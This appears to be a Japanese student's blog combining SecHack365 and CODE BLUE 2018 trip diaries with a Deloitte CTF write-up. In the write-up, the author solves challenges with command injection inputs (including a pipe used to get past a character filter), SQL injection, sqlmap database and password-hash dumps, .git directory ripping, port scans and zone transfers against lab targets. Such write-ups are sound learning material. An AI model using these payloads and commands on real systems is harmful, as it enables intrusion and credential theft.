SecHack365@愛媛に行ってきた話
SecHackのオフラインイベントで愛媛に行ってきました(11/30~12/02)
0日目 (11/29)
23:00
学会の講演締切の前日ということで色々と忙しかった…
夕飯を作る気力なかったので研究室帰りにカレーうどんを食べた．
家に帰ってから15分程度で愛媛回の宿泊準備を終えて就寝．
1日目 (11/30)
05:30
起床．
09:00
羽田空港到着．
空港での待ち時間は自分の担当箇所のデモの確認をしていた．
11:20
松山空港到着．
人生初の四国だったのでテンションがあがった．
噂では聞いていたが本当に蛇口からみかんジュースがでて笑ってしまった．
11:30
リムジンバスにのって道後温泉に向かった．
道中で路面電車？を見かけたので鉄オタに写真を送ってみたら「坊っちゃん列車じゃん。こいつ方向転換面白いから絶対見ろよ」と言われたのですが見れませんでした．
12:10
道後温泉駅着．
12:30
昼飯🍜
14:20
会場到着．
自分たちのチームの発表までプレゼン資料の手直しをしていた．
17:00
プレゼン．
フィードバックとして「全体的によくできてるんだけど尖ったものがない」「最初から80点を目指して作ってる感じ」「パッションを持てばもっと尖ったものができる」というアドバイスを多く頂いた．
既存サービスを調査してそことの差分を推したのですがそれでも不十分ということでした．
尖ったものを作るのって難しいなと思った．
18:00
夕飯(圧倒的人権)．
19:00
資料を直しつつ他の人達の発表を聞いた．
20:00
米空軍少佐(サイバー部隊)の講演を聴講．
日本とアメリカのセキュリティ意識の差を痛感した (正確には自衛隊 と US AIRFORCE の差) ．
21:00
温泉(圧倒的人権)．
26:00
セルフナイトチャレンジ．
チームメンバがゴリゴリ進捗だしてるときに自分はパケットキャプチャして遊んでました ．
2日目 (12/01)
08:30
起床チャレンジ失敗．
5分で着替えて5分で朝食を食べた．
09:00
デモ & ポスター発表．
ここでも1日目と同様のアドバイスをもらった．
尖ったプロダクトとは…
12:30
昼飯．
13:30
散策．
レクリエーションとして近くの山を散歩した．
滝と紅葉がいい感じだった (語彙力)．
14:00
15:00まで自由時間ということだったので部屋に戻って昼寝した．
15:00
修了生LT．
修了生強い人しかおらんな…となった．
友利奈緒(セキュリティ)さん強スギィ！
15:30
沖縄回までに何をやっていくのかを話し合った．
あとはシステム構成図やポスターについてフィードバックをもらったのでそこを修正したり，脆弱性検査の詰めが甘かったのでそこを確認したりしてた．
18:00
夕飯 (圧倒的人権)．
19:00
ゲスト講演 (1)．
内容はAIとの付き合い方についてでした．
簡単な技術紹介の後はマインド的な部分の話でした．
なかでも「技術を手段として使っていくというのは確かにいいことだけれども技術を目的として極めていく人間がいないと新しいものは生まれてこない．みなさんにはそういう人になってもらいたい．」という言葉は就活で身の振り方を考えていた自分には結構刺さりました．
20:00
ゲスト講演 (2)．
桂三幸氏による寄席でした．
やはりプロの方ということで面白かったです．
21:00
温泉 (圧倒的人権)．
26:00
セルフナイトチャレンジ．
3日目 (12/02)
08:30
起床チャレンジ失敗．
無意識にアラームを止めてしまうのでもうだめ．
5分で着替えて朝食へ
09:00
自分たちの発表までは資料直しと今後についての話し合いをしていました．
この話し合いでちょっとおもしろいアイデアがでたので頑張り次第では尖ったプロダクトになるのでは？？？となりました．
11:45
プレゼン．
発表時間を3分オーバーしてしまった．
プレゼンが終わってから「これ学会だったら強制終了やな(笑)」という話をしたのですが笑い事ではないですね．
本番は時間厳守でいきます (？)
12:00
昼飯．
13:00
資料直し．
14:30
クロージング．
15:00
解散．
16:20
松山空港到着．
ラーメン🍜食べてお土産買って羽田へ
19:20
羽田空港到着．
20:10
ゆゆ式展到着．
ゆゆ式10周年記念展開催決定！ -TVアニメ「ゆゆ式」公式サイト-
魂が震えた．
21:30
自宅到着．
バス+飛行機+モノレール+電車という移動のせいでかなり疲れた．
まとめ
- Metasploit おじさんになる
- 就活と研究と並行してSecHackの進捗もだしていく (願望)
- 年末年始もだらけないでがんばる
CODE BLUE 2018 に学生スタッフとして参加してきた話
はじめに
CODE BLUE 2018 の学生スタッフの選考を通過したので，学スタとしてCB2018に参加してきました．
最初に書きますが学生スタッフめちゃくちゃオススメです！
以下オススメポイント
- 交流日(?)：0.5日 + 業務日：1日 + 聴講日：1日
- ホテル付き(条件あり)
- 参加費無料
- CB Tシャツ貰える
- セキュリティ界隈の強い人達に会える
0日目 (10/31)
12:30
集合前にしっかりラーメン食べました💪🏻🍜
13:30
13:30に会場集合でした．
人権のある集合時間で圧倒的感謝
14:00
集合後は事前準備をするのかなと思っていたら学生スタッフ同士の交流時間でした．
強い学スタのみなさんと頑張って名刺交換しました．
スポンサー企業の人とも頑張って名刺交換しました．
今回は「ゆるい名刺(Twitter, Github, hatena blog, CTFteam, 好きなラーメンを書いたモノ)」と「フォーマル？な名刺(本名と所属を書いたモノ)」を用意したので企業の人ともしっかり名刺交換できました．
交流会後に軽く業務説明があり，解散となりました．
18:30
ホテルに戻ってから何人かで飲みに行きました．
同年代かつ共通の分野に興味がある人達との会話は楽しいですね．
1日目 (11/1)
08:30
自分は聴講日だったので8時半起きだったのですが業務日だった学スタは5時半頃に起きてました．
10:00
F-SecureのMikko Hypponen氏による Cyber Arms Race を聴講しました．
11:00
Mikko氏の基調講演を聞いたあとは以下のセッションを聴講しました．
- Mirai’s Botnet#14 - how BestBuy and Deutsche Telekom ruined my (an many others) Xmas of 2016
- Watch the Drop! A Case Study in Transnational Cyber-Criminal Money Laundering
- Smart Fuzzing XPC & XNU
- Wow, PESSR has Eroded Apple in Blink - Fun and Profit to Gain Dozens of iOS Vulnerabilities in Minutes by (P)ortable (E)xtensible (S)criptable (S)eed (R)eproducible Mobile Fuzzer
15:30
聴講でちょっと疲れたので15時半以降はDeloitte CTFに参加したり企業のブースを見て回ってました．
富士通のブースを見学しに行ったらバイナリかるた(バイナリを読んでフォーマットを当てるゲーム)があり，「当てたらあげるよ」と言われたので挑戦してGETしました！
簡単な問題で助かりました…(JPEG)
18:00
Close後は何人かでラーメンを食べに行きました💪🏻🍜
21:00
翌日は学スタ業務日で早起きしなければいけないのに何人かで部屋にあつまり，黙々とDeloitte CTFをやっていました．
26:30
就寝？？？
2日目 (11/2)
06:00
起床…
08:00
ドアキーパーをCloseまでやりました．
英語で話しかけられたときに固まらずにカタコト英語で対応できたので必要最低限の仕事はできたのではないかと思います．
19:00
ネットワーキングパーティー
(写真撮り忘れました)
21:15
ダーツバーで二次会 (写真撮り忘れました)
強い人達のLT聞けたのでよかった．
まだ名刺交換できてなかった人とも名刺交換できたのよかった．
まとめ
- CODE BLUE いい感じですね
- 学生スタッフはアド
- 来年はCBSOCとかCBNOC側で参加してみたいなと思った
- 色々と刺激を受けたのでモチベが上がった
- 強くなるぞ💪🏻
Deloitte Tohmatsu Risk Service CTF Write-up
- はじめに
- Deloitte CTF とは
- 成績
- ACTIVE INFORMATION GATHERING - DNS [MISC 60]
- PASSIVE INFORMATION GATHERING [MISC 60]
- NETWORK SNIFFING [NET 140]
- ACTIVE INFORMATION GATHERING - NMAP [NET 140]
- SIMPLE NSLOOKUP TOOL [WEB 100]
- SIMPLE NSLOOKUP TOOL V2 [WEB 150]
- CODE BLOO [WEB 725]
- HACKAZON EC2 WEBSITE [WEB 1250]
- まとめ
はじめに
CODE BLUE 2018 に学生スタッフとして参加した際にDeloitte CTFにも参加したのでそのWrite-upです．
Deloitte CTF とは
仕事中にハッキングの問題に取り組んだりしていると怒られませんか？Deloitte Cyber Risk Servicesでは、ハッキングの問題に取り組み、学び、解決するスキルが業務を遂行する上で非常に重要なことであると考えられています。そのため、Deloitte Cyber Risk Servicesでは、Hackazonプラットフォームを活用し、ハッキングの腕前やサイバーセキュリティの専門的スキルを日々鍛えることを仕事の一部としているようなプロフェッショナルも存在しています。
Hackazonは、Deloitteによって開発されたCapture the Flag（CTF）プラットフォームです。今回、日本のCodeBlueイベントに合わせ、Hackazonプラットフォーム内でハッキングチャレンジを準備しました。このCTFはオンラインで楽しむことができますが、DTRSブース内にもあなたの最高のハッキングスキルを披露するための席を設けています。この機会に是非、当社CTFに挑戦してください！
優秀な成績の方には、優秀賞を差し上げます。本CTFは、11月3日（午前6時59分まで）まで有効です！
成績
1人で参加して 3位 / 65人中(チーム中？) でした．
優秀な成績の方には、優秀賞を差し上げます。
これって何位まで貰えるんでしょうか？1位の人だけかな？
追記 [2018/11/13]
賞品が届きました！
MALWOPOLY(MONOPOLYのセキュリティ版？)とポロシャツを頂きました！
DTRSさんありがとうございます！
MALWOPOLYは余裕ができたら研究室で遊んでみたいと思います！
ACTIVE INFORMATION GATHERING - DNS [MISC 60]
DNS - NAME SERVER [10 POINTS]
What is the name server for the "hacklab.local" zone? The DNS server can be found on 10.6.0.2
アプローチ：hostコマンド
> host -t ns hacklab.local 10.6.0.2 Using domain server: Name: 10.6.0.2 Address: 10.6.0.2#53 Aliases: hacklab.local name server ns.hacklab.local.
ns.hacklab.local
DNS - MAIL SERVER [20 POINTS]
What is the mailserver for the "hacklab.local" zone? The DNS server can be found on 10.6.0.2
アプローチ：hostコマンド
> host -t mx hacklab.local 10.6.0.2 Using domain server: Name: 10.6.0.2 Address: 10.6.0.2#53 Aliases: hacklab.local mail is handled by 10 mail.hacklab.local.
mail.hacklab.local
因みに10はMXレコードのプライオリティです．
この問題は途中まで主催者側がflagを間違えていたので苦労しました
DNS - ZONE TRANSFER [30 POINTS]
Perform a zone transfer for the "hacklab.local" zone, submit the hidden flag. (The answer starts with "CTF") The DNS server can be found on 10.6.0.2
アプローチ：hostコマンド
> host -t axfr hacklab.local 10.6.0.2
Trying "hacklab.local"
Using domain server:
Name: 10.6.0.2
Address: 10.6.0.2#53
Aliases:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37365
;; flags: qr aa ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;hacklab.local. IN AXFR
;; ANSWER SECTION:
hacklab.local. 604800 IN SOA hacklab.local. root.hacklab.local. 30000 604800 86400 2419200 604800
hacklab.local. 604800 IN NS ns.hacklab.local.
hacklab.local. 604800 IN MX 10 mail.hacklab.local.
dev.hacklab.local. 604800 IN A 10.6.0.2
mail.hacklab.local. 604800 IN A 10.6.0.2
ns.hacklab.local. 604800 IN A 10.6.0.2
ZoneTransfer.hacklab.local. 604800 IN TXT "CTF{ZoneTransfer}"
hacklab.local. 604800 IN SOA hacklab.local. root.hacklab.local. 30000 604800 86400 2419200 604800
CTF{ZoneTransfer}
PASSIVE INFORMATION GATHERING [MISC 60]
GOOGLE HACKING [10 POINTS]
Who is the CEO of Deloitte Global? (Submit the firstname and lastname)
アプローチ：ググる
Punit Renjen
IP ADDRESS LOOKUP [20 POINTS]
Use the tool "nslookup" to determine the IP address of www.google.jp
アプローチ：色々と試す
候補になるIPアドレスがたくさんあるので色々と試していきます．
172.217.161.67
これは悪問なのでは？(下の問題のIPアドレスがflag？)
WHOIS - IP OWNER [10 POINTS]
Who is the owner (OrgName) of the IP address: 172.217.161.67?
アプローチ：whois
> whois 172.217.161.67 ~~~ OrgName: Google LLC OrgId: GOGL Address: 1600 Amphitheatre Parkway City: Mountain View StateProv: CA PostalCode: 94043 Country: US RegDate: 2000-03-30 Updated: 2018-10-24 Comment: Please note that the recommended way to file abuse complaints are located in the following links. Comment: Comment: To report abuse and illegal activity: https://www.google.com/contact/ Comment: Comment: For legal requests: http://support.google.com/legal Comment: Comment: Regards, Comment: The Google Team Ref: https://rdap.arin.net/registry/entity/GOGL ~~~
Google LLC
WHOIS - DOMAIN OWNER [20 POINTS]
Who is the owner (Registrant) of the domain: deloitte.jp?
アプローチ：whois
> whois deloitte.jp ~~~ Domain Information: [ドメイン情報] [Domain Name] DELOITTE.JP [登録者名] 有限責任監査法人トーマツ [Registrant] Deloitte Touche Tohmatsu LLC [Name Server] ns01.tohmatsu.co.jp [Name Server] dns3.odn.ne.jp [Name Server] dns-a.iij.ad.jp [Name Server] ns11.tohmatsu.co.jp [Signing Key] [登録年月日] 2001/03/26 [有効期限] 2019/03/31 [状態] Active [最終更新] 2018/04/01 01:05:11 (JST) ~~~
Deloitte Touche Tohmatsu LLC
NETWORK SNIFFING [NET 140]
WIRESHARK 1 [15 POINTS]
Who logged into 192.168.0.1? (Submit answer as username/password) File: 01_telnet.pcap
アプローチ：wireshark
fake/user
WIRESHARK 2 [15 POINTS]
What command did the administrator use, after logging in to the system? (Submit the full command as answer, for example: /sbin/ls webfolder) File: 01_telnet.pcap
アプローチ：wireshark
/sbin/ping www.yahoo.com
WIRESHARK 3 [15 POINTS]
What type of nmap scan is performed? (Submit the appropriate flag set on the packer, for example: FIN) File: 02_nmap_scan.pcap
アプローチ：wireshark
SYN
WIRESHARK 4 [15 POINTS]
What protocol is used to chat? File: 03_chat.pcap
アプローチ：当該パケットのプロトコルを確認する
MSNMS
WIRESHARK 5 [20 POINTS]
This is a conversation between ?????@hotmail.com and ?????@hotmail.com (Submit the answer in the following format: userA/userB)? File: 03_chat.pcap
アプローチ：wireshark
tesla_brian/tesla_thomas
WIRESHARK 6 [20 POINTS]
アプローチ：wireshark
FTPサーバのIPなのでログイン試行されてる方のIPを答えます．
10.121.70.151
WIRESHARK 7 [20 POINTS]
What service is used? (Look in the protocol column in Wireshark) File: 05_foobar.pcap
アプローチ：wiresharkの統計機能
Gnutella
WIRESHARK 8 [20 POINTS]
Accountnumber used? File: 06_covertchannnel.pcap
アプローチ：grep
06_covertchannnel.pcapだけファイルサイズが小さく，grepだけでいけるやろと思ったのでgrepしました．
> strings 06_covertchannel.pcap | grep account BlueChat10.100.17.48 Transfer all of the funds to account number 1192828231-0 nI BlueChat10.100.17.48 Transfer all of the funds to account number 1192828231-0
1192828231-0
ACTIVE INFORMATION GATHERING - NMAP [NET 140]
NMAP 1 [10 POINTS]
Perform a nmap scan on host 10.6.0.2. Which ports does the system expose? (Submit the open ports seperated by a comma (example: 80,443,1337))
アプローチ：nmap
> nmap 10.6.0.2 Nmap scan report for 10.6.0.2 Host is up (0.34s latency). Not shown: 993 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 110/tcp open pop3 143/tcp open imap 993/tcp open imaps 995/tcp open pop3s 3306/tcp open mysql Nmap done: 1 IP address (1 host up) scanned in 65.07 seconds
21,80,3306
NMAP 2 [20 POINTS]
Perform a nmap scan on host 10.6.0.2. Which service runs on port 21?
アプローチ：well-known ports
ftp
NMAP 3 [30 POINTS]
Perform a nmap scan on host 10.6.0.2. What version of Apache does the system have installed?
アプローチ：-A オプション
> nmap -A 10.6.0.2 Nmap scan report for 10.6.0.2 Host is up (0.52s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 80/tcp open http Apache httpd 2.4.18 ((Unix)) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.18 (Unix) |_http-title: Site doesn't have a title (text/html). 110/tcp open tcpwrapped 143/tcp open tcpwrapped 993/tcp open imaps? 995/tcp open pop3s? 3306/tcp open mysql MySQL (unauthorized) Service Info: OS: Unix
Apache/2.4.18
NMAP 4 [40 POINTS]
Read the nmap manual page and figure out how to conduct a ACK scan with OS identification and scan fewer ports then normal (For example: nmap sS -A -P1).
アプローチ：nmap manualを読む
nmap -sA -O -F
scan fewer ports then normal
の解釈が難しかった．
デフォルトポートスキャン数を調べて -pで色々指定してた(結局-Fだけで良かった)．
SIMPLE NSLOOKUP TOOL [WEB 100]
Our corporate DNS servers block lookups to some of my favourite sites. I setup this simple tool on my server so I can still access them from work.
Can you test it for me and make sure it is not possible to call any other binaries?
アプローチ：コマンドインジェクション
色々と探ってみるとコマンドインジェクションができそうだということが分かります．
-> ; ls
app.py app.pyc flag.txt static templates
-> ; cat flag.txt
Oops, not as secure as I thought!
CTF{9f947ab476f47fc32da2b8e5ffb41f97}
CTF{9f947ab476f47fc32da2b8e5ffb41f97}
SIMPLE NSLOOKUP TOOL V2 [WEB 150]
Version 1 of our nslookup tool was vulnerable to command injection. As a fix I blocked the common command execution tricks (;&$><`!).
Can you test version 2 for me and make sure it is not possible to call any other binaries?
アプローチ：パイプ
V1と同様のやり方ではコマンドインジェクションできないことが分かります．
そこで，common command execution tricks に着目します．
よく確認するとパイプ(|)が含まれていないことに気づきます．
-> | cat flag.txt
Oops, not as secure as I thought!
CTF{9f947ab476f47fc32da2b8e5ffb41f97}
CTF{9f947ab476f47fc32da2b8e5ffb41f97}
これV1とflagが変わってないんですけど大丈夫ですかね
CODE BLOO [WEB 725]
EXTRA FLAG [50 POINTS]
Time to warm up! Can you get the extra flag on the home page?
アプローチ：ページソースの編集
Receive an extra flagボタンをクリックするとflagが取れそうですが，クリックできないようになっています．
<br /><br /><a class="btn btn-primary btn-lg disabled" href="#" onclick="var key = this.id.split('flag')[1]; alert(document.getElementById('extraflag').innerText.split('').map( (x, i) => String.fromCharCode(x.charCodeAt(0) ^ key.charCodeAt(i % key.length))).join(''))" role="button" id="extraflag31337">Receive an extra flag</a>
disabledを消してあげるとボタンがクリックできるようになります．
CTF{code_blue_extra_flag}
ANIMATE [50 POINTS]
Wait.. an extra flag? That means we missed the first flag! Where could it be?
アプローチ：WebM
問題文から動画を再生しろということが分かる(？)のでページソース内から関連ワードを探します(今回の場合はwebmが該当)．
https://codebloo.challenge.hackazon.org/static/logo-bloo.webm#t=0
リンク先の動画の最後にバーコードが表示されるので読み取ります．
CTF{bloo_has_a_barcode}
UGLY [50 POINTS]
Those scripts look damn ugly... surely we can make it look nicer?
アプローチ：script.jsを確認
ChromeデベロッパーツールでSourcesのscript.jsを確認します
// You found the source mapping flag! // CTF{bloo_hid_it_in_the_source_map}
CTF{bloo_hid_it_in_the_source_map}
COLOUR CODED MESSAGES [75 POINTS]
Can you figure out what weird message Bloo was sending to his friends?
アプローチ：color code to ascii
ソースコードからカラーコードを引っこ抜いてcolor.txtとして保存します．
<span style="background: #4c6f72;"></span> <span style="background: #656d20;"></span> <span style="background: #697073;"></span> <span style="background: #756d20;"></span> <span style="background: #646f6c;"></span> <span style="background: #6f7220;"></span> <span style="background: #736974;"></span> <span style="background: #20616d;"></span> <span style="background: #65742c;"></span> ~略~
適当なスクリプトを書いてasciiに変換します．
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import binascii if __name__ == '__main__': colors = [] with open('color.txt', encoding='utf-8') as f: for line in f: line = line.rstrip('\r\n') colors.append(line) flag = [binascii.unhexlify(color).decode('utf-8') for color in colors] print(''.join(flag))
> python solve.py
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec risus lacus, tristique at convallis quis, pretium eu ligula. Suspendisse tempor nunc quis odio ullamcorper, ac tincidunt est porta. Interdum et malesuada fames ac ante ipsum primis in faucibus. Nulla arcu arcu, finibus non condimentum quis, vehicula et nulla. Nullam posuere felis leo, quis volutpat neque rutrum eget. Maecenas eu consectetur urna, non tristique felis. Donec aliquam dui eget ornare maximus. Integer nunc nibh, imperdiet a ipsum vitae, lacinia facilisis ex. Cras blandit dolor ac porta facilisis. Pellentesque finibus ultricies orci ut consectetur. Pellentesque sit amet lobortis mi. Sed eleifend justo id nibh venenatis, sed pretium quam blandit.
Congratulations... you found the flag: CTF{code_blue_red_purple}
CTF{code_blue_red_purple}
LOGIN [50 POINTS]
Bloo really needs to do a security checklist 101 before publishing websites to the Internet... can you login?
アプローチ：SQLi
普通のSQLiでいけます．
Welcome, guest. From the database, I got that your favorite colour is blue!
Guests get an extra flag! CTF{blue_dabedie_dabeda}
SUPERUSER ACCESS GRANTED [150 POINTS]
Bloo left another vulnerability in the website and people somehow know his plaintext password! What is Bloo's password?
アプローチ：💪🏻ゆとりは黙ってsqlmap💪🏻
tableの一覧を調べる
> sqlmap -u 'https://codebloo.challenge.hackazon.org/login?username=1&password=2' --tables ~略~ Database: bloo [1 table] +---------------------------------------+ | users | +---------------------------------------+ ~略~
users tableの中身をdump
> sqlmap -u 'https://codebloo.challenge.hackazon.org/login?username=1&password=2' -T users --dump ~略~ Database: bloo Table: users [2 entries] +-------+----------+------------------------------------------+ | color | username | password | +-------+----------+------------------------------------------+ | blue | guest | 084e0343a0486ff05530df6c705c8bb4 (guest) | | red | admin | 3730945b84a6e2146faab7c0d6c02365 | +-------+----------+------------------------------------------+ ~略~
passwordはMD5で保存されているようなのでググれば出てきます．
guest : guest
admin : codezero
Blooってadminなのか？と思いながらcodezeroを提出すると通ったのでBlooはadminです（？）
VAULT [200 POINTS]
Bloo has hidden his secrets in the vault. Were you able to recover his password?
アプローチ：WebAssemblyを動的解析
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,136,128,128,128,0,1,96,3,127,127,127,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,147,128,128,128,0,2,6,109,101,109,111,114,121,2,0,6,118,101,114,105,102,121,0,0,10,203,131,128,128,0,1,197,131,128,128,0,1,1,127,65,0,33,3,2,64,32,2,65,28,71,13,0,2,64,32,0,13,0,65,1,33,3,32,1,65,195,0,70,13,1,11,65,1,33,3,2,64,32,0,65,1,71,13,0,32,1,65,212,0,70,13,1,11,2,64,32,0,65,2,71,13,0,32,1,65,198,0,70,13,1,11,2,64,32,0,65,3,71,13,0,32,1,65,251,0,70,13,1,11,2,64,32,0,65,4,71,13,0,32,1,65,233,0,70,13,1,11,2,64,32,0,65,5,71,13,0,32,1,65,237,0,70,13,1,11,2,64,32,0,65,6,71,13,0,32,1,65,223,0,70,13,1,11,32,0,65,7,70,32,1,65,225,0,70,113,13,0,32,0,65,8,70,32,1,65,223,0,70,113,13,0,2,64,32,0,65,9,71,13,0,32,1,65,247,0,70,13,1,11,2,64,32,0,65,10,71,13,0,32,1,65,229,0,70,13,1,11,32,0,65,11,70,32,1,65,226,0,70,113,13,0,32,0,65,12,70,32,1,65,225,0,70,113,13,0,32,0,65,17,70,32,1,65,226,0,70,113,13,0,32,0,65,16,70,32,1,65,237,0,70,113,13,0,32,0,65,115,106,65,2,73,32,1,65,243,0,70,113,13,0,32,0,65,15,70,32,1,65,229,0,70,113,13,0,2,64,32,0,65,18,71,13,0,32,1,65,236,0,70,13,1,11,32,0,65,19,70,32,1,65,249,0,70,113,13,0,32,0,65,20,70,32,1,65,223,0,70,113,13,0,32,0,65,21,70,32,1,65,232,0,70,113,13,0,32,0,65,22,70,32,1,65,225,0,70,113,13,0,2,64,32,0,65,23,71,13,0,32,1,65,227,0,70,13,1,11,32,0,65,24,70,32,1,65,235,0,70,113,13,0,32,0,65,25,70,32,1,65,229,0,70,113,13,0,2,64,32,0,65,26,71,13,0,32,1,65,242,0,70,13,1,11,32,0,65,27,70,32,1,65,253,0,70,113,15,11,32,3,11]); var wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(buffer)); function verify(code) { var correct = true; for (var c = 0; c < code.length; c++) { correct &= wasmInstance.exports.verify(c, code.charCodeAt(c), code.length); } return correct; }
コードを読むとverifyに文字のindex，asciiの値，文字列の長さを渡し，1 or 0を返していることが分かります．
bufferを静的解析するのはしんどそうなので動的解析します．
まず正しい返り値を得るには正しい文字列長が必要になるので文字列長を調べます．
for (ascii = 32; ascii < 127; ascii++) { for(len = 1; len < 100; len++) { check = wasmInstance.exports.verify(0, ascii, len) if (check) { alert('len:' + len + ', ascii:' + ascii) } } }
正しい文字列長は28で文字列の1文字目はCであることが分かりました．
正しい文字列長が分かったので正しい文字列を総当たりで求めます．
var ans = '' for(c = 0; c < 29; c++) { for (ascii = 32; ascii < 127; ascii++) { var check = wasmInstance.exports.verify(c, ascii, 28) if (check) { ans += String.fromCharCode(ascii) } } } alert(ans)
CTF{im_a_webassembly_hacker}
IT'S ALL UNDER CONTROL [100 POINTS]
Bloo always says he's got everything under control. It even says this on the About page!
アプローチ：.gitの中身を確認
問題文通りにhttps://codebloo.challenge.hackazon.org/.gitにアクセスしてみるとしっかり200が返ってきます．
dvcs-ripperを使って.gitをまるっと落とします．
github.com
> ./rip-git.pl -v -u https://codebloo.challenge.hackazon.org/.git
> git show HEAD
commit a35561d9ca77ffe6e9d1256f1c6a323a51b9c135 (HEAD -> master)
Author: Cedric Van Bockhaven <cvanbockhaven@deloitte.nl>
Date: Wed Oct 24 12:17:37 2018 +0200
tests completed
diff --git a/test.html b/test.html
index 4a80eff..522d82d 100644
--- a/test.html
+++ b/test.html
@@ -1,2 +1 @@
-Congratulations... have yourself a flag :)
-CTF{found_the_hidden_git}
+Test successful.
CTF{found_the_hidden_git}
HACKAZON EC2 WEBSITE [WEB 1250]
HIDDEN IN PLAIN SIGHT [50 POINTS]
There is a simple starter flag staring you right in the face. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}
アプローチ：ソースコードを見る
ソースコードからCTFという文字列を探すとflagが見つかります．
CTF{83be3524805662a4096af24cbe069bc4}
THE ROBOT KNOWS [50 POINTS]
There are some files on this sever you just should not be able to view. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}
アプローチ：robots.txt
問題名に従いhttp://10.6.0.1/robots.txtにアクセスしてみると
User-agent: * Disallow: / Disallow: /super-secret-admin-1234.php
怪しいページがあることが分かりますね．
さっそくhttp://10.6.0.1/super-secret-admin-1234.phpにアクセスしてみますがhttp://10.6.0.1/index.phpにリダイレクトされてしまいます．
ここで「は？」とならずに落ち着いてcurlします．
> curl http://10.6.0.1/super-secret-admin-1234.php
_______ _____ _____ _____ _____ _____
/::\ \ /\ \ /\ \ /\ \ /\ \ /\ \
/::::\ \ /::\ \ /::\____\ /::\ \ /::\ \ /::\ \
/::::::\ \ /::::\ \ /:::/ / \:::\ \ \:::\ \ /::::\ \
/::::::::\ \ /::::::\ \ /:::/ / \:::\ \ \:::\ \ /::::::\ \
/:::/~~\:::\ \ /:::/\:::\ \ /:::/ / \:::\ \ \:::\ \ /:::/\:::\ \
/:::/ \:::\ \ /:::/__\:::\ \ /:::/ / \:::\ \ \:::\ \ /:::/__\:::\ \
/:::/ / \:::\ \ /::::\ \:::\ \ /:::/ / /::::\ \ /::::\ \ /::::\ \:::\ \
/:::/____/ \:::\____\ /::::::\ \:::\ \ /:::/ / ____ /::::::\ \ /::::::\ \ /::::::\ \:::\ \
|:::| | |:::| | /:::/\:::\ \:::\ \ /:::/ / /\ \ /:::/\:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \
|:::|____| |:::| |/:::/__\:::\ \:::\____\/:::/____/ /::\ \/:::/ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\
\:::\ \ /:::/ / \:::\ \:::\ \::/ /\:::\ \ \:::\ /:::/ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /
\:::\ \ /:::/ / \:::\ \:::\ \/____/ \:::\ \ \:::\/:::/ / \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/
\:::\ /:::/ / \:::\ \:::\ \ \:::\ \ \::::::/ / /:::/ / \:::\ \:::\ \
\:::\__/:::/ / \:::\ \:::\____\ \:::\ \ \::::/____/ /:::/ / \:::\ \:::\____\
\::::::::/ / \:::\ \::/ / \:::\ \ \:::\ \ \::/ / \:::\ \::/ /
\::::::/ / \:::\ \/____/ \:::\ \ \:::\ \ \/____/ \:::\ \/____/
\::::/ / \:::\ \ \:::\ \ \:::\ \ \:::\ \
\::/____/ \:::\____\ \:::\____\ \:::\____\ \:::\____\
~~ \::/ / \::/ / \::/ / \::/ /
\/____/ \/____/ \/____/ \/____/
CTF{2d88fc96e397c56c25b6180a7e752894}%
CTF{2d88fc96e397c56c25b6180a7e752894}
KONAMI [50 POINTS]
There is a Hackazon cheat code you can enter which will disclose a konami code flag. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}
アプローチ：CSSのコードを確認
#konami-full-robot{ margin-left: -270px; } #konami-branding { background: url('../img/robot-head.png') no-repeat center top; width: 271px; height: 253px; z-index: 4; } #konami-content { background: url('../img/robot-torso.png') no-repeat center top; width: 271px; height: 164px; z-index: 3; margin-top: -65px; } #konami-sec-content { background: url('../img/robot-hips.png') no-repeat center top; width: 271px; height: 124px; z-index: 2; margin-top: -90px; } #konami-footer { background: url('../img/robot-legs.png') no-repeat center top; width: 271px; height: 244px; z-index: 1; margin-top: -90px; }
とりあえずhttp://10.6.0.1/img/robot-head.pngにアクセスしてみると
ロボットの頭にflagが書かれていることが確認できます．
CTF{55a1d6079d5078b9185306c54ee063f8}
まとめ
- Deloitte CTFのおかげで学スタの空き時間を楽しく過ごせた (もちろん聴講もしました)
- 色々と勉強になった (特にWebAssembly)
- Crypto問が出題されなくて残念だった
- Web問が何も分からないので勉強したい
- Code Blooを1番最初に全完できたのが地味に嬉しかった
- 上位に入れたのが嬉しかった (3位)
SecHack365@山形に行ってきた話
SecHackのオフラインイベントで山形に行ってきました(10/12~10/14)
0日目 (10/11)
大学関係のタスクに忙殺されていて本当にしんどかった．
英気を養うためにラーメンを食べた．
1日目 (10/12)
06:00
起床．
09:00
東京駅到着．
新幹線では論文読んだりポスターを見直して話す内容を整理していた．
11:50
山形駅着．
新幹線でめちゃくちゃ乗り物酔いしてつらくなった．
12:30
昼飯．
事前におすすめラーメンを地元民に聞いていたので店はすぐ決まった．
14:15
会場到着．
ハロウィーン仕様だった．
15:30
ポスター発表開始．
やっぱりしゃべる内容よりもデモを見せた方がウケがいいなと思った．
チームメンバが担当しているフロントエンドやバックエンドの進捗と比べ，自分が担当している異常検知，脆弱性検知の進捗はデモを見せることができるレベルに達していなかったので本当に申し訳なくなった．
デモの展示が必須になる愛媛回までには間に合わせたい．
16:30
ポスター発表でもらったコメントの整理．
議論が甘くてツッコまれるだろうな〜と思ってた問題や全く考えていなかった問題について色々とコメントをもらったのですごく有意義だった．
18:10
夕飯．
19:20
他の人のポスター発表みた．
それぞれポスターに個性が出てて面白かった．
25:00
温泉入ったり部屋でチームメンバと話をしたりしていたら日付が変わっていたので就寝．
2日目 (10/13)
08:30
朝ごはんチャレンジ成功．
09:10
修了生LT
